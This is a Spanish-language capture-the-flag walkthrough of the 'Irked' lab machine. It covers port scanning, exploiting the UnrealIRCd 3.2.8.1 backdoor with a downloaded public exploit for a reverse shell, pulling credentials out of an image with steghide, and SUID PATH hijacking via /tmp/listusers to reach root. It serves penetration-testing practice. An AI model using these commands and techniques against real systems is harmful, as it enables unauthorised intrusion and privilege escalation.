Irked

Publicado: 25 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Irked es una máquina Linux de dificultad Easy que presenta múltiples vectores de ataque interesantes. La explotación inicial se basa en una backdoor conocida en UnrealIRCd 3.2.8.1, que permite la ejecución remota de comandos. Para obtener acceso al usuario, se requiere el uso de técnicas de esteganografía para extraer credenciales ocultas en una imagen. La escalada de privilegios se logra mediante la explotación de un binario personalizado con permisos SUID que puede ser manipulado a través de Path Hijacking.
Esta máquina es excelente para practicar:
Enumeración de servicios IRC
Explotación de backdoors conocidas
Técnicas de esteganografía básica
Escalada de privilegios mediante SUID y Path Hijacking
Análisis de binarios con herramientas como
strings
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.117
PING 10.10.10.117 (10.10.10.117) 56(84) bytes of data.
64 bytes from 10.10.10.117: icmp_seq=1 ttl=63 time=49.1 ms
64 bytes from 10.10.10.117: icmp_seq=2 ttl=63 time=47.3 ms
--- 10.10.10.117 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 47.264/48.179/49.095/0.915 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.143 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
22,80,111,6697,8067,45980,65534
Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.117 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-25 13:25 CEST
Nmap scan report for 10.10.10.117
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 45980/tcp status
| 100024 1 48376/udp status
| 100024 1 49219/tcp6 status
|_ 100024 1 58268/udp6 status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
45980/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
🌐 Enumeración Web
80 HTTP

Realizamos fuzzing de directorios con feroxbuster pero no vemos mucho más que rascar aquí.
6697 UnrealIRC
Buscamos sobre formas de enumerar este servicio y encontramos esta documentación de nmap:
https://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html
ls -la /usr/share/nmap/scripts | grep unreal
Existe un script de nmap para verificar si es una versión backdorizable de unrealircd

Ejecutamos nmap con este script contra los puertos del servicio unrealircd:
❯ nmap --script=irc-unrealircd-backdoor -p6697,8067,45980,65534 10.10.10.117
Nos confirma que parece que se trata de una versión troyanizada

💻 Explotación
Buscamos un exploit y lo descargamos
wget https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/refs/heads/master/exploit.py
chmod +x exploit.py
Editamos la ip y el puerto en el código del script para usar los de nuestro host de ataque:

Ejecutamos el exploit y ganamos acceso al sistema:
python3 exploit.py 10.10.10.117 6697 -payload bash

Mejora de la shell
script /dev/null -c bash
stty raw -echo; fg
reset xterm
export TERM=xterm
Initial foothold
Enumeramos los usuarios de la máquina y vemos que hay dos djmardov y ircd
La primera flag se encuentra en el usuario djmardov pero no tenemos permisos:

En el directorio Documents del usuario djmardov encontramos un archivo oculto llamado backup que contiene una contraseña:

Verificamos si el usuario djmardow está reutilizándola e intentamos autenticarnos con ella pero no funciona.
Prestamos especial atención al mensaje junto a la contraseña "Super elite steg backup pw" podría dar a entender que se está usando steganografía, recordemos que vimos una imagen en el servicio del puerto 80:

Vamos a descargarla y revisar con alguna herramienta como steghide si tiene algo oculto especificando la contraseña obtenida anteriormente:
steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

Parece que había un fichero oculto llamado pass.txt en la imagen con una contraseña:
![[Pasted image 20250525135448.png]]

Logramos autenticarnos con ella con el usuario djmardov y obtener la primera flag:
su djmardov
Kab6h+m+bbp2J:HG
👑 Escalada de privilegios
Buscamos archivos con permisos SUID
find / -perm -4000 2>/dev/null
Vemos uno poco común que merece la pena analizar:

La ejecutamos y encontramos un banner donde se indica que la aplicación que se usa para establecer y ver permisos de usuario y que aún está en desarrollo. Dado que es un binario, probamos a usar strings para ver qué comandos se están usando:


El bit SUID está configurado para este archivo. ¿Qué significa eso? Significa que se ejecutará con el nivel de privilegio que coincida con el usuario que posee este archivo. Dado que el archivo es propiedad de root, el archivo se ejecutará con privilegios de root.
Vamos a crear un archivo en /tmp/listusers y hacemos que ejecuta una bash shell:
echo "bash" > /tmp/listusers
chmod +x listusers
/usr/bin/viewuser

Ya somos root y podemos obtener la flag.
Last updated